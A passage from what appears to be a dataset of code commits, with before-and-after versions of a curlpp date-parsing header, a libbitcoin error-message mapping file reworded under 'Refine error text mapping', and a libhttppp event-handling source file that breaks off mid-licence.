* Order of the  items  is  immaterial.  A date string may contain many\n   * flavors of items:\n   *\n   * calendar date items\n   * This can be specified in a number of different ways. Including\n   * 1970-09-17, 70-9-17, 70-09-17, 9\/17\/72, 24 September 1972, 24 Sept 72,\n   * 24 Sep 72, Sep 24, 1972, 24-sep-72, 24sep72.  The year can also  be\n   * omitted, for example: 9\/17 or \"sep 17\".\n   * \n   * time of the day items\n   * This  string specifies the time on a given day. Syntax  supported\n   * includes:  18:19:0,  18:19,  6:19pm, 18:19-0500 (for specifying the time\n   * zone as well).\n   *\n   * time zone items\n   * Specifies  international  time zone. There are a few acronyms\n   * supported,  but  in  general  you   should instead  use  the specific\n   * realtive time compared to UTC. Supported formats include: -1200, MST,\n   * +0100.\n   *\n   * day of the week items\n   * Specifies a day of the week. If  this  is  mentioned alone it means that\n   * day of the week in the future. Days  of  the week may be spelled out in\n   * full: `Sunday', `Monday', etc or they may  be  abbreviated  to their\n   * first three letters, optionally followed by a period.  The special\n   * abbreviations `Tues' for `Tuesday', `Wednes' for `Wednesday' and `Thur'\n   * or `Thurs' for `Thursday' are also allowed. A number may precede a day\n   * of the week item to  move forward  supplementary  weeks.   It  is best\n   * used in expression like `third monday'.   In  this  context, `last  DAY'\n   * or  `next DAY' is also acceptable; they move one week before or after\n   * the day  that  DAY  by itself would represent.\n   *\n   * relative items\n   * A  relative item adjusts a date (or the current date if  none)  forward\n   * or  backward.   Example   syntax includes:  \"1  year\",  \"1  year  ago\",\n   * \"2 days\", \"4 weeks\". The string `tomorrow' is worth one day in the\n   * future (equivalent  to  `day'),  the  string `yesterday' is worth one\n   * day in the past (equivalent to `day ago').\n   *\n   * pure numbers\n   * If the decimal number is of the form YYYYMMDD and no other calendar date\n   * item appears before  it  in  the date  string,  then  YYYY is read as\n   * the year, MM as the month number and DD as the day of the month, for the\n   * specified calendar date.\n   *\/\n  time_t CURLPPAPI getdate( const std::string&date, time_t *now = 0 );\n \n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (c) 2011-2015 libbitcoin developers (see AUTHORS)\n *\n * This file is part of libbitcoin.\n *\n * libbitcoin is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option)\n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <bitcoin\/bitcoin\/error.hpp>\n\n#include <boost\/system\/error_code.hpp>\n#include <bitcoin\/bitcoin\/compat.hpp>\n\nusing namespace bc;\n\nclass error_category_impl\n  : public std::error_category\n{\npublic:\n    virtual const char* name() const BC_NOEXCEPT;\n    virtual std::string message(int ev) const BC_NOEXCEPT;\n    virtual std::error_condition default_error_condition(int ev) \n        const BC_NOEXCEPT;\n};\n\nstatic const error_category_impl& get_error_category_instance()\n{\n    static error_category_impl instance;\n    return instance;\n}\n\nconst char* error_category_impl::name() const BC_NOEXCEPT\n{\n    return \"bitcoin\";\n}\n\nstd::string error_category_impl::message(int ev) const BC_NOEXCEPT\n{\n    \/\/ This text mapping may change without notice.\n    switch (ev)\n    {\n        case error::success:\n            return \"success\";\n\n        \/\/ network errors\n        case error::service_stopped:\n            return \"connection terminated\";\n        case error::operation_failed:\n            return \"operation failed\";\n\n        \/\/ blockchain errors\n        case error::not_found:\n            return \"object does not exist\";\n        case error::duplicate:\n            return \"matching previous object found\";\n        case error::unspent_output:\n            return \"unspent output\";\n        case error::unsupported_payment_type:\n            return \"unsupport payment type\";\n\n        \/\/ network errors (more)\n        case error::resolve_failed:\n            return \"resolving hostname failed\";\n        case error::network_unreachable:\n            return \"unable to reach remote network\";\n        case error::address_in_use:\n            return \"address already in use\";\n        case error::listen_failed:\n            return \"listen incoming connections failed\";\n        case error::accept_failed:\n            return \"accept connection failed\";\n        case error::bad_stream:\n            return \"bad stream\";\n        case error::channel_timeout:\n            return \"channel timed out\";\n\n        \/\/ transaction pool\n        case error::blockchain_reorganized:\n            return \"transactions invalidated from blockchain reorganization\";\n        case error::pool_filled:\n            return \"forced removal of old transaction from full pool\";\n\n        \/\/ validate tx\n        case error::coinbase_transaction:\n            return \"memory pool coinbase transaction\";\n        case error::is_not_standard:\n            return \"transaction is not standard\";\n        case error::double_spend:\n            return \"double spend of input\";\n        case error::input_not_found:\n            return \"spent input not found\";\n\n        \/\/ check_transaction()\n        case error::empty_transaction:\n            return \"transaction inputs or outputs are empty\";\n        case error::output_value_overflow:\n            return \"overflow in output value outside range\";\n        case error::invalid_coinbase_script_size:\n            return \"coinbase script is too small or large\";\n        case error::previous_output_null:\n            return \"non-coinbase transaction has null previous in an input\";\n\n        \/\/ validate block\n        case error::previous_block_invalid:\n            return \"previous block failed to validate\";\n\n        \/\/ check_block()\n        case error::size_limits:\n            return \"size limits failed\";\n        case error::proof_of_work:\n            return \"proof of work failed\";\n        case error::futuristic_timestamp:\n            return \"timestamp too far in the future\";\n        case error::first_not_coinbase:\n            return \"first transaction is not a coinbase\";\n        case error::extra_coinbases:\n            return \"more than one coinbase\";\n        case error::too_many_sigs:\n            return \"too many script signatures\";\n        case error::merkle_mismatch:\n            return \"merkle root mismatch\";\n\n        \/\/ accept_block()\n        case error::incorrect_proof_of_work:\n            return \"proof of work does not match bits field\";\n        case error::timestamp_too_early:\n            return \"block timestamp is too early\";\n        case error::non_final_transaction:\n            return \"contains a non-final transaction\";\n        case error::checkpoints_failed:\n            return \"block hash rejected by checkpoint lockins\";\n        case error::old_version_block:\n            return \"reject version=1 block\";\n        case error::coinbase_height_mismatch:\n            return \"block height mismatch in coinbase\";\n\n        \/\/ connect_block()\n        case error::duplicate_or_spent:\n            return \"duplicate transaction when with unspent outputs\";\n        case error::validate_inputs_failed:\n            return \"validation of inputs failed\";\n        case error::fees_out_of_range:\n            return \"fees are out of range\";\n        case error::coinbase_too_large:\n            return \"reported coinbase value is too large\";\n\n        \/\/ file system errors\n        case error::file_system:\n            return \"file system error\";\n\n        \/\/ unknown errors\n        case error::unknown:\n        default:\n            return \"unknown error\";\n    }\n}\n\nstd::error_condition error_category_impl::default_error_condition(int ev)\n    const BC_NOEXCEPT\n{\n    switch (ev)\n    {\n        \/\/ validate tx\n        case error::coinbase_transaction:\n        case error::is_not_standard:\n        case error::double_spend:\n        case error::input_not_found:\n\n        \/\/ check_transaction()\n        case error::empty_transaction:\n        case error::output_value_overflow:\n        case error::invalid_coinbase_script_size:\n        case error::previous_output_null:\n\n        \/\/ validate block\n        case error::previous_block_invalid:\n\n        \/\/ check_block()\n        case error::size_limits:\n        case error::proof_of_work:\n        case error::futuristic_timestamp:\n        case error::first_not_coinbase:\n        case error::extra_coinbases:\n        case error::too_many_sigs:\n        case error::merkle_mismatch:\n\n        \/\/ accept_block()\n        case error::incorrect_proof_of_work:\n        case error::timestamp_too_early:\n        case error::non_final_transaction:\n        case error::checkpoints_failed:\n        case error::old_version_block:\n        case error::coinbase_height_mismatch:\n\n        \/\/ connect_block()\n        case error::duplicate_or_spent:\n        case error::validate_inputs_failed:\n        case error::fees_out_of_range:\n        case error::coinbase_too_large:\n            return error::validate_failed;\n\n        \/\/ transaction pool\n        case error::blockchain_reorganized:\n        case error::pool_filled:\n            return error::forced_removal;\n\n        default:\n            return std::error_condition(ev, *this);\n    }\n}\n\nnamespace libbitcoin {\nnamespace error {\n\n    std::error_code make_error_code(error_code_t e)\n    {\n        return std::error_code(e, get_error_category_instance());\n    }\n\n    std::error_condition make_error_condition(error_condition_t e)\n    {\n        return std::error_condition(e, get_error_category_instance());\n    }\n\n    error_code_t boost_to_error_code(const boost::system::error_code& ec)\n    {\n        namespace boost_error = boost::system::errc;\n        switch (ec.value())\n        {\n            case boost_error::success:\n                return error::success;\n\n            \/\/ network errors\n            case boost_error::connection_aborted:\n            case boost_error::connection_refused:\n            case boost_error::connection_reset:\n            case boost_error::not_connected:\n            case boost_error::operation_canceled:\n                return error::service_stopped;\n\n            case boost_error::operation_not_permitted:\n            case boost_error::operation_not_supported:\n            case boost_error::owner_dead:\n            case boost_error::permission_denied:\n                return error::operation_failed;\n\n            case boost_error::address_family_not_supported:\n            case boost_error::address_not_available:\n            case boost_error::bad_address:\n            case boost_error::destination_address_required:\n                return error::resolve_failed;\n\n            case boost_error::broken_pipe:\n            case boost_error::host_unreachable:\n            case boost_error::network_down:\n            case boost_error::network_reset:\n            case boost_error::network_unreachable:\n            case boost_error::no_link:\n            case boost_error::no_protocol_option:\n            case boost_error::no_such_file_or_directory:\n            case boost_error::not_a_socket:\n            case boost_error::protocol_not_supported:\n            case boost_error::wrong_protocol_type:\n                return error::network_unreachable;\n\n            case boost_error::address_in_use:\n            case boost_error::already_connected:\n            case boost_error::connection_already_in_progress:\n            case boost_error::operation_in_progress:\n                return error::address_in_use;\n\n            case boost_error::bad_message:\n            case boost_error::illegal_byte_sequence:\n            case boost_error::io_error:\n            case boost_error::message_size:\n            case boost_error::no_message_available:\n            case boost_error::no_message:\n            case boost_error::no_stream_resources:\n            case boost_error::not_a_stream:\n            case boost_error::protocol_error:\n                return error::bad_stream;\n\n            case boost_error::stream_timeout:\n            case boost_error::timed_out:\n                return error::channel_timeout;\n\n            \/\/ file system errors\n            case boost_error::cross_device_link:\n            case boost_error::bad_file_descriptor:\n            case boost_error::device_or_resource_busy:\n            case boost_error::directory_not_empty:\n            case boost_error::executable_format_error:\n            case boost_error::file_exists:\n            case boost_error::file_too_large:\n            case boost_error::filename_too_long:\n            case boost_error::invalid_seek:\n            case boost_error::is_a_directory:\n            case boost_error::no_space_on_device:\n            case boost_error::no_such_device:\n            case boost_error::no_such_device_or_address:\n            case boost_error::read_only_file_system:\n            case boost_error::resource_unavailable_try_again:\n            case boost_error::text_file_busy:\n            case boost_error::too_many_files_open:\n            case boost_error::too_many_files_open_in_system:\n            case boost_error::too_many_links:\n            case boost_error::too_many_symbolic_link_levels:\n                return error::file_system;\n\n            \/\/ unknown errors\n            case boost_error::argument_list_too_long:\n            case boost_error::argument_out_of_domain:\n            case boost_error::function_not_supported:\n            case boost_error::identifier_removed:\n            case boost_error::inappropriate_io_control_operation:\n            case boost_error::interrupted:\n            case boost_error::invalid_argument:\n            case boost_error::no_buffer_space:\n            case boost_error::no_child_process:\n            case boost_error::no_lock_available:\n            case boost_error::no_such_process:\n            case boost_error::not_a_directory:\n            case boost_error::not_enough_memory:\n            case boost_error::not_supported:\n            case boost_error::operation_would_block:\n            case boost_error::resource_deadlock_would_occur:\n            case boost_error::result_out_of_range:\n            case boost_error::state_not_recoverable:\n            case boost_error::value_too_large:\n            default:\n                return error::unknown;\n        }\n    }\n\n} \/\/ namespace error\n} \/\/ namespace libbitcoin\n<commit_msg>Refine error text mapping.<commit_after>\/**\n * Copyright (c) 2011-2015 libbitcoin developers (see AUTHORS)\n *\n * This file is part of libbitcoin.\n *\n * libbitcoin is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option)\n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <bitcoin\/bitcoin\/error.hpp>\n\n#include <boost\/system\/error_code.hpp>\n#include <bitcoin\/bitcoin\/compat.hpp>\n\nusing namespace bc;\n\nclass error_category_impl\n  : public std::error_category\n{\npublic:\n    virtual const char* name() const BC_NOEXCEPT;\n    virtual std::string message(int ev) const BC_NOEXCEPT;\n    virtual std::error_condition default_error_condition(int ev) \n        const BC_NOEXCEPT;\n};\n\nstatic const error_category_impl& get_error_category_instance()\n{\n    static error_category_impl instance;\n    return instance;\n}\n\nconst char* error_category_impl::name() const BC_NOEXCEPT\n{\n    return \"bitcoin\";\n}\n\nstd::string error_category_impl::message(int ev) const BC_NOEXCEPT\n{\n    \/\/ This text mapping may change without notice.\n    switch (ev)\n    {\n        case error::success:\n            return \"success\";\n\n        \/\/ network errors\n        case error::service_stopped:\n            return \"connection terminated\";\n        case error::operation_failed:\n            return \"operation failed\";\n\n        \/\/ blockchain errors\n        case error::not_found:\n            return \"object does not exist\";\n        case error::duplicate:\n            return \"matching previous object found\";\n        case error::unspent_output:\n            return \"unspent output\";\n        case error::unsupported_payment_type:\n            return \"unsupport payment type\";\n\n        \/\/ network errors (more)\n        case error::resolve_failed:\n            return \"resolving hostname failed\";\n        case error::network_unreachable:\n            return \"unable to reach remote host\";\n        case error::address_in_use:\n            return \"address already in use\";\n        case error::listen_failed:\n            return \"incoming connection failed\";\n        case error::accept_failed:\n            return \"connection acceptance failed\";\n        case error::bad_stream:\n            return \"bad data stream\";\n        case error::channel_timeout:\n            return \"connection timed out\";\n\n        \/\/ transaction pool\n        case error::blockchain_reorganized:\n            return \"transactions invalidated by blockchain reorganization\";\n        case error::pool_filled:\n            return \"forced removal of old transaction from pool overflow\";\n\n        \/\/ validate tx\n        case error::coinbase_transaction:\n            return \"coinbase transaction disallowed in memory pool\";\n        case error::is_not_standard:\n            return \"transaction is not standard\";\n        case error::double_spend:\n            return \"double spend of input\";\n        case error::input_not_found:\n            return \"spent input not found\";\n\n        \/\/ check_transaction()\n        case error::empty_transaction:\n            return \"transaction inputs or outputs are empty\";\n        case error::output_value_overflow:\n            return \"output value outside valid range\";\n        case error::invalid_coinbase_script_size:\n            return \"coinbase script is too small or large\";\n        case error::previous_output_null:\n            return \"non-coinbase transaction has input with null previous output\";\n\n        \/\/ validate block\n        case error::previous_block_invalid:\n            return \"previous block failed to validate\";\n\n        \/\/ check_block()\n        case error::size_limits:\n            return \"size limits failed\";\n        case error::proof_of_work:\n            return \"proof of work failed\";\n        case error::futuristic_timestamp:\n            return \"timestamp too far in the future\";\n        case error::first_not_coinbase:\n            return \"first transaction is not a coinbase\";\n        case error::extra_coinbases:\n            return \"more than one coinbase\";\n        case error::too_many_sigs:\n            return \"too many script signatures\";\n        case error::merkle_mismatch:\n            return \"merkle root mismatch\";\n\n        \/\/ accept_block()\n        case error::incorrect_proof_of_work:\n            return \"proof of work does not match bits field\";\n        case error::timestamp_too_early:\n            return \"block timestamp is too early\";\n        case error::non_final_transaction:\n            return \"block contains a non-final transaction\";\n        case error::checkpoints_failed:\n            return \"block hash rejected by checkpoint lockins\";\n        case error::old_version_block:\n            return \"block version one rejected at current height\";\n        case error::coinbase_height_mismatch:\n            return \"block height mismatch in coinbase\";\n\n        \/\/ connect_block()\n        case error::duplicate_or_spent:\n            return \"duplicate transaction with unspent outputs\";\n        case error::validate_inputs_failed:\n            return \"validation of inputs failed\";\n        case error::fees_out_of_range:\n            return \"fees are out of range\";\n        case error::coinbase_too_large:\n            return \"coinbase value is too large\";\n\n        \/\/ file system errors\n        case error::file_system:\n            return \"file system error\";\n\n        \/\/ unknown errors\n        case error::unknown:\n        default:\n            return \"unknown error\";\n    }\n}\n\nstd::error_condition error_category_impl::default_error_condition(int ev)\n    const BC_NOEXCEPT\n{\n    switch (ev)\n    {\n        \/\/ validate tx\n        case error::coinbase_transaction:\n        case error::is_not_standard:\n        case error::double_spend:\n        case error::input_not_found:\n\n        \/\/ check_transaction()\n        case error::empty_transaction:\n        case error::output_value_overflow:\n        case error::invalid_coinbase_script_size:\n        case error::previous_output_null:\n\n        \/\/ validate block\n        case error::previous_block_invalid:\n\n        \/\/ check_block()\n        case error::size_limits:\n        case error::proof_of_work:\n        case error::futuristic_timestamp:\n        case error::first_not_coinbase:\n        case error::extra_coinbases:\n        case error::too_many_sigs:\n        case error::merkle_mismatch:\n\n        \/\/ accept_block()\n        case error::incorrect_proof_of_work:\n        case error::timestamp_too_early:\n        case error::non_final_transaction:\n        case error::checkpoints_failed:\n        case error::old_version_block:\n        case error::coinbase_height_mismatch:\n\n        \/\/ connect_block()\n        case error::duplicate_or_spent:\n        case error::validate_inputs_failed:\n        case error::fees_out_of_range:\n        case error::coinbase_too_large:\n            return error::validate_failed;\n\n        \/\/ transaction pool\n        case error::blockchain_reorganized:\n        case error::pool_filled:\n            return error::forced_removal;\n\n        default:\n            return std::error_condition(ev, *this);\n    }\n}\n\nnamespace libbitcoin {\nnamespace error {\n\n    std::error_code make_error_code(error_code_t e)\n    {\n        return std::error_code(e, get_error_category_instance());\n    }\n\n    std::error_condition make_error_condition(error_condition_t e)\n    {\n        return std::error_condition(e, get_error_category_instance());\n    }\n\n    error_code_t boost_to_error_code(const boost::system::error_code& ec)\n    {\n        namespace boost_error = boost::system::errc;\n        switch (ec.value())\n        {\n            case boost_error::success:\n                return error::success;\n\n            \/\/ network errors\n            case boost_error::connection_aborted:\n            case boost_error::connection_refused:\n            case boost_error::connection_reset:\n            case boost_error::not_connected:\n            case boost_error::operation_canceled:\n                return error::service_stopped;\n\n            case boost_error::operation_not_permitted:\n            case boost_error::operation_not_supported:\n            case boost_error::owner_dead:\n            case boost_error::permission_denied:\n                return error::operation_failed;\n\n            case boost_error::address_family_not_supported:\n            case boost_error::address_not_available:\n            case boost_error::bad_address:\n            case boost_error::destination_address_required:\n                return error::resolve_failed;\n\n            case boost_error::broken_pipe:\n            case boost_error::host_unreachable:\n            case boost_error::network_down:\n            case boost_error::network_reset:\n            case boost_error::network_unreachable:\n            case boost_error::no_link:\n            case boost_error::no_protocol_option:\n            case boost_error::no_such_file_or_directory:\n            case boost_error::not_a_socket:\n            case boost_error::protocol_not_supported:\n            case boost_error::wrong_protocol_type:\n                return error::network_unreachable;\n\n            case boost_error::address_in_use:\n            case boost_error::already_connected:\n            case boost_error::connection_already_in_progress:\n            case boost_error::operation_in_progress:\n                return error::address_in_use;\n\n            case boost_error::bad_message:\n            case boost_error::illegal_byte_sequence:\n            case boost_error::io_error:\n            case boost_error::message_size:\n            case boost_error::no_message_available:\n            case boost_error::no_message:\n            case boost_error::no_stream_resources:\n            case boost_error::not_a_stream:\n            case boost_error::protocol_error:\n                return error::bad_stream;\n\n            case boost_error::stream_timeout:\n            case boost_error::timed_out:\n                return error::channel_timeout;\n\n            \/\/ file system errors\n            case boost_error::cross_device_link:\n            case boost_error::bad_file_descriptor:\n            case boost_error::device_or_resource_busy:\n            case boost_error::directory_not_empty:\n            case boost_error::executable_format_error:\n            case boost_error::file_exists:\n            case boost_error::file_too_large:\n            case boost_error::filename_too_long:\n            case boost_error::invalid_seek:\n            case boost_error::is_a_directory:\n            case boost_error::no_space_on_device:\n            case boost_error::no_such_device:\n            case boost_error::no_such_device_or_address:\n            case boost_error::read_only_file_system:\n            case boost_error::resource_unavailable_try_again:\n            case boost_error::text_file_busy:\n            case boost_error::too_many_files_open:\n            case boost_error::too_many_files_open_in_system:\n            case boost_error::too_many_links:\n            case boost_error::too_many_symbolic_link_levels:\n                return error::file_system;\n\n            \/\/ unknown errors\n            case boost_error::argument_list_too_long:\n            case boost_error::argument_out_of_domain:\n            case boost_error::function_not_supported:\n            case boost_error::identifier_removed:\n            case boost_error::inappropriate_io_control_operation:\n            case boost_error::interrupted:\n            case boost_error::invalid_argument:\n            case boost_error::no_buffer_space:\n            case boost_error::no_child_process:\n            case boost_error::no_lock_available:\n            case boost_error::no_such_process:\n            case boost_error::not_a_directory:\n            case boost_error::not_enough_memory:\n            case boost_error::not_supported:\n            case boost_error::operation_would_block:\n            case boost_error::resource_deadlock_would_occur:\n            case boost_error::result_out_of_range:\n            case boost_error::state_not_recoverable:\n            case boost_error::value_too_large:\n            default:\n                return error::unknown;\n        }\n    }\n\n} \/\/ namespace error\n} \/\/ namespace libbitcoin\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Play with elastic<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\nCopyright (c) 2014, Jan Koester jan.koester@gmx.net\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in the\n      documentation and\/or other materials provided with the distribution.\n    * Neither the name of the <organization> nor the\n      names of its contributors may be used to endorse or promote products\n      derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY\nDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*******************************************************************************\/\n\n#include \"event.h\"\n#include \"threadpool.h\"\n\nlibhttppp::Event::ConnectionContext::ConnectionContext(){\n  _CurConnection=NULL;\n  _CurCPool=NULL;\n  _CurEvent=NULL;\n  _Mutex=new Mutex;\n  _nextConnectionContext=NULL; \n}\n\nlibhttppp::Event::ConnectionContext::~ConnectionContext(){\n  delete _Mutex;\n  delete _nextConnectionContext;\n}\n\n\nlibhttppp::Event::ConnectionContext * libhttppp::Event::ConnectionContext::nextConnectionContext(){\n  return _nextConnectionContext;    \n}\n\nvoid libhttppp::Event::addConnectionContext(libhttppp::Event::ConnectionContext **addcon){\nif(!_firstConnectionContext){\n#ifdef DEBUG_MUTEX\n    _httpexception.Note(\"delConnection\",\"Lock MainMutex\");\n#endif\n    _Mutex->lock();\n    _firstConnectionContext=new ConnectionContext();\n    _lastConnectionContext=_firstConnectionContext;\n#ifdef DEBUG_MUTEX\n    _httpexception.Note(\"delConnection\",\"unlock MainMutex\");\n#endif\n    _Mutex->unlock();\n  }else{\n#ifdef DEBUG_MUTEX\n    _httpexception.Note(\"addConnection\",\"Lock ConnectionMutex\");\n#endif\n    ConnectionContext *prevcon=_lastConnectionContext;\n    prevcon->_Mutex->lock();\n    _lastConnectionContext->_nextConnectionContext=new ConnectionContext();\n    _lastConnectionContext=_lastConnectionContext->_nextConnectionContext;\n#ifdef DEBUG_MUTEX\n    _httpexception.Note(\"addConnection\",\"Unlock ConnectionMutex\");\n#endif\n    prevcon->_Mutex->unlock();\n  }\n #ifdef DEBUG_MUTEX\n    _httpexception.Note(\"addConnection\",\"Lock ConnectionMutex\");\n#endif\n  _lastConnectionContext->_Mutex->lock(); \n  _lastConnectionContext->_CurConnection=_Cpool->addConnection();\n  _lastConnectionContext->_CurCPool=_Cpool;\n  _lastConnectionContext->_CurEvent=this;\n  *addcon=_lastConnectionContext;\n#ifdef DEBUG_MUTEX\n    _httpexception.Note(\"addConnection\",\"Unlock ConnectionMutex\");\n#endif\n  _lastConnectionContext->_Mutex->unlock();\n}\n\nvoid libhttppp::Event::delConnectionContext(libhttppp::Event::ConnectionContext *delctx,\n                                            libhttppp::Event::ConnectionContext **nextcxt){\n  ConnectionContext *prevcontext=NULL;\n#ifdef DEBUG_MUTEX\n  _httpexception.Note(\"delConnection\",\"Lock MainMutex\");\n#endif\n  _Mutex->lock();\n  for(ConnectionContext *curcontext=_firstConnectionContext; curcontext; \n      curcontext=curcontext->nextConnectionContext()){\n    if(curcontext==delctx){\n#ifdef DEBUG_MUTEX\n      _httpexception.Note(\"delConnection\",\"Lock ConnectionMutex\");\n#endif\n      curcontext->_Mutex->lock();\n      _Cpool->delConnection(curcontext->_CurConnection);\n      if(prevcontext){\n#ifdef DEBUG_MUTEX\n        _httpexception.Note(\"delConnection\",\"Lock prevConnectionMutex\");\n#endif\n        prevcontext->_Mutex->lock();\n        prevcontext->_nextConnectionContext=curcontext->_nextConnectionContext;\n        if(_lastConnectionContext==curcontext){\n          _lastConnectionContext=prevcontext;\n        }\n#ifdef DEBUG_MUTEX\n        _httpexception.Note(\"delConnection\",\"unlock prevConnectionMutex\");\n#endif\n        prevcontext->_Mutex->unlock();\n      }else{\n#ifdef DEBUG_MUTEX\n        _httpexception.Note(\"delConnection\",\"lock firstConnectionMutex\");\n#endif\n        _firstConnectionContext->_Mutex->lock();\n#ifdef DEBUG_MUTEX\n        _httpexception.Note(\"delConnection\",\"lock lastConnectionMutex\");\n#endif\n        _lastConnectionContext->_Mutex->lock();\n        _firstConnectionContext=curcontext->_nextConnectionContext;\n        if(_lastConnectionContext==delctx)\n          _lastConnectionContext=_firstConnectionContext;\n        if(_firstConnectionContext){\n#ifdef DEBUG_MUTEX\n        _httpexception.Note(\"delConnection\",\"unlock firstConnectionMutex\");\n#endif\n        _firstConnectionContext->_Mutex->unlock();\n        }\n        if(_lastConnectionContext){\n#ifdef DEBUG_MUTEX\n     _httpexception.Note(\"delConnection\",\"unlock lastConnectionMutex\");\n#endif\n        _lastConnectionContext->_Mutex->unlock();\n        }\n      }\n#ifdef DEBUG_MUTEX\n      _httpexception.Note(\"delConnection\",\"Unlock ConnectionMutex\");\n#endif\n      curcontext->_Mutex->unlock();\n      curcontext->_nextConnectionContext=NULL;\n      delete curcontext;\n      break;\n    }\n    prevcontext=curcontext;\n  }\n#ifdef DEBUG_MUTEX\n  _httpexception.Note(\"delConnection\",\"unlock MainMutex\");\n#endif\n  _Mutex->unlock();\n  if(prevcontext && prevcontext->_nextConnectionContext){\n    *nextcxt= prevcontext->_nextConnectionContext;\n  }else{\n    *nextcxt=_firstConnectionContext;\n  }\n}\n\nlibhttppp::Event::WorkerContext::WorkerContext(){\n    _CurEvent=NULL;\n    _CurThread=NULL;\n    _nextWorkerContext=NULL;\n}\n\nlibhttppp::Event::WorkerContext::~WorkerContext(){\n    delete _nextWorkerContext;\n}\n\nlibhttppp::Event::WorkerContext *libhttppp::Event::addWorkerContext(){\n    if(_firstWorkerContext){\n        _lastWorkerContext->_nextWorkerContext=new WorkerContext;\n        _lastWorkerContext=_lastWorkerContext->_nextWorkerContext;\n    }else{\n        _firstWorkerContext=new WorkerContext;\n        _lastWorkerContext = _firstWorkerContext;\n    }\n    _lastWorkerContext->_CurEvent=this;\n    _lastWorkerContext->_CurThread=_WorkerPool->addThread();\n    return _lastWorkerContext;\n}\n\nlibhttppp::Event::WorkerContext *libhttppp::Event::delWorkerContext(\n    libhttppp::Event::WorkerContext *delwrkctx){\n    WorkerContext *prevwrk=NULL;\n    for(WorkerContext *curwrk=_firstWorkerContext; curwrk; curwrk=curwrk->_nextWorkerContext){\n        if(curwrk==delwrkctx){\n            if(prevwrk){\n                prevwrk->_nextWorkerContext=curwrk->_nextWorkerContext;\n            }\n            if(curwrk==_firstWorkerContext){\n              _firstWorkerContext=curwrk->_nextWorkerContext;  \n            }\n            if(curwrk==_lastWorkerContext){\n              _lastWorkerContext=prevwrk;\n            }\n            curwrk->_nextWorkerContext=NULL;\n            delete curwrk;\n        }\n        prevwrk=curwrk;\n    }\n    if(prevwrk)\n        return prevwrk->_nextWorkerContext;\n    else\n        return _firstWorkerContext;\n}\n\n\/*Event Handlers*\/\nvoid libhttppp::Event::RequestEvent(libhttppp::Connection *curcon) {\n    return;\n}\n\nvoid libhttppp::Event::ResponseEvent(libhttppp::Connection *curcon) {\n    return;\n}\n\nvoid libhttppp::Event::ConnectEvent(libhttppp::Connection *curcon) {\n    return;\n}\n\nvoid libhttppp::Event::DisconnectEvent(libhttppp::Connection *curcon) {\n    return;\n}\n<commit_msg>fixed addevent<commit_after>\/*******************************************************************************\nCopyright (c) 2014, Jan Koester jan.koester@gmx.net\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in the\n      documentation and\/or other materials provided with the distribution.\n    * Neither the name of the <organization> nor the\n      names of its contributors may be used to endorse or promote products\n      derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY\nDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 